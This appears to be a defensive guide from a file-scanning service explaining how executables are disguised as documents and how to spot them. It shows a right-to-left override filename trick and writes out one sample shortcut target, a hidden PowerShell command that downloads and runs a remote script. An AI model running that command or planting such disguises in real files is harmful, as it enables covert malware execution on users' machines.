Disguised Files: Double Extensions, Fake Icons and Executables Pretending to Be Documents

Disguised files are executables dressed as documents: a second extension the operating system hides, an icon copied from a PDF reader, a shortcut that runs PowerShell, or a filename with a right-to-left override that reverses what you read. The disguise targets you, not the scanner, which identifies files by their first bytes and reports an executable no matter what it is called.

The trick is aimed at people, not machines

Malware in a document needs an exploit or a macro to run. Malware in an executable needs nothing at all except a double-click. That makes the plain executable the most reliable payload an attacker can send, and its only weakness is that people have learned not to open .exe attachments. The entire category of disguised files exists to remove that weakness. Every technique in this guide has the same aim: make a file that runs code look, on your screen, like a file that does not. None of them changes what the file is. They change what you see.

That is why the scanner's view and your view differ so sharply. You see a name, an icon and a size. A scanner reads bytes, and the first two bytes of a Windows program are MZ regardless of the name. The guide to how antivirus scanning works covers type identification in general; this guide is about the disguises specifically.

Double extensions and hidden extensions

The oldest trick relies on a Windows Explorer default: Hide extensions for known file types is switched on. A file named invoice.pdf.exe is therefore displayed as invoice.pdf, and if the attacker has given it a PDF icon, the display is indistinguishable from a real PDF. Add generous spacing, invoice.pdf .exe, and even with extensions visible the real one scrolls off the edge of the column.

Fixing the display setting is the single most effective thing you can do on Windows:

1. Open File Explorer, choose View, then Show, and tick File name extensions (on Windows 10: View tab, tick File name extensions).
2. In Folder Options, on the View tab, untick "Hide extensions for known file types" so the change applies everywhere, including Open and Save dialogs.
3. Read filenames from the right. The last extension is the one that decides what runs.

macOS has the same setting: Finder, Settings, Advanced, "Show all filename extensions". It also hides the .app suffix on application bundles, so a bundle named Statement.pdf.app shows as Statement.pdf until you look at the Kind column. Scan.now flags the pattern itself as a double file extension finding, because a legitimate file almost never has one.

The extensions that run code

Attackers rarely bother with .exe any more because mail filters block it. Windows executes many other types, and most people have never heard of half of them:

The shortcut deserves special mention because Windows never shows the .lnk extension, even with the setting above turned on; a shortcut named Report.pdf displays as Report.pdf with a small arrow overlay that is easy to miss. Its target might be powershell.exe -w hidden -c "iwr http://203.0.113.9/a.ps1 | iex", which is why a Windows shortcut file arriving as an attachment is reported as high severity rather than as a curiosity.

Icons prove nothing

A PE executable carries its own icon in its resource section, and the attacker can put any image there: the Adobe PDF icon, a Word icon, a yellow folder, a JPEG thumbnail. Explorer displays that icon in place of the generic executable one. Users have been trained to identify files by icon, which is precisely the habit being exploited. A folder icon is a common choice on USB drives and shared drives: the worm hides the real folders and leaves an .exe with a folder icon and the folder's name, so that "opening the folder" runs the worm. The only reliable indicator is the extension, and the only reliable check is the file's content.

The right-to-left override

Unicode includes control characters for bidirectional text, and one of them, U+202E RIGHT-TO-LEFT OVERRIDE, tells the display to render everything after it reversed. Insert it into a filename and the visible order changes while the real name does not:

Real name:    annual_report<U+202E>fdp.exe
Displayed as: annual_reportexe.pdf

Explorer, Finder, mail clients and many web interfaces render it faithfully, so the file appears to end in .pdf while its actual extension is .exe. A related trick uses the zero-width and homoglyph characters to make .exe look like .exe with an invisible character breaking a filter's match. Scanners check for these characters directly, and a scanner that reads magic bytes is unaffected in any case; the reversed name is still a file that begins with MZ.

Disguises on macOS and Linux

The techniques are not Windows-only; they just wear different clothes. On macOS the equivalent of a fake icon is an application bundle: a folder ending in .app that Finder displays as a single file with whatever icon its Info.plist declares, so a bundle named Contract.pdf.app looks like a PDF until the Kind column says "Application". Disk images (.dmg) serve the same wrapper role as ISO files on Windows, and a .command or .sh file opens in Terminal on double-click. Gatekeeper and notarisation block much of this for unsigned downloads, which is why attackers include instructions to right-click and choose Open, or to run a pasted Terminal command. On Linux, a .desktop launcher can specify its own icon and name and run any command, and its extension is hidden by most desktop environments. The lesson is the same on every platform: the name and icon are chosen by the sender.

How a scanner sees through all of it

A structural scanner ignores the name entirely as a source of truth and uses it only as a claim to verify:

1. Read the first bytes and identify the format: 4D 5A for a Windows executable (followed at offset 0x3C by a pointer to the PE\0\0 header), 7F 45 4C 46 for ELF, CF FA ED FE for a 64-bit Mach-O, 50 4B 03 04 for zip, 25 50 44 46 for %PDF.
2. Compare the identified type with what the extension claims. A .pdf that is a PE file is reported as an extension mismatch; a bare executable of any kind as an executable program file.
3. Check the name for a second executable extension, right-to-left overrides, zero-width characters and excessive padding.
4. For shortcuts, parse the .lnk structure and extract the target and arguments.
5. For containers such as ISO and zip, apply the same steps to each file inside.

You can do step one yourself. On macOS or Linux, file invoice.pdf prints the real type; xxd -l 4 invoice.pdf shows the first bytes. On Windows, PowerShell's Format-Hex -Path invoice.pdf -Count 4 does the same. If a "PDF" starts with 4D 5A and the text "This program cannot be run in DOS mode" appears within the first hundred bytes, you are looking at a Windows program.

$ file invoice.pdf
invoice.pdf: PE32+ executable (GUI) x86-64, for MS Windows
$ xxd -l 8 invoice.pdf
00000000: 4d5a 9000 0300 0000                      MZ......

Scan.now's file scanner runs all five steps in memory on any upload, adds signature matching and heuristics, and does not keep the file.

What to do with a disguised file

Treat a disguise as proof of intent. A legitimate sender has no reason to name an executable after a document, to reverse a filename or to ship a shortcut instead of a file. There is no benign explanation to weigh, which makes this one of the few file findings where the answer is simply to delete it and, if it arrived by email, report it. If you have already double-clicked, assume the payload ran: disconnect, change passwords from another device and follow the sequence in is this file safe for the aftermath. For the payloads that usually hide behind these disguises, see malware types explained; for the archives they most often arrive in, see archives and zip bombs.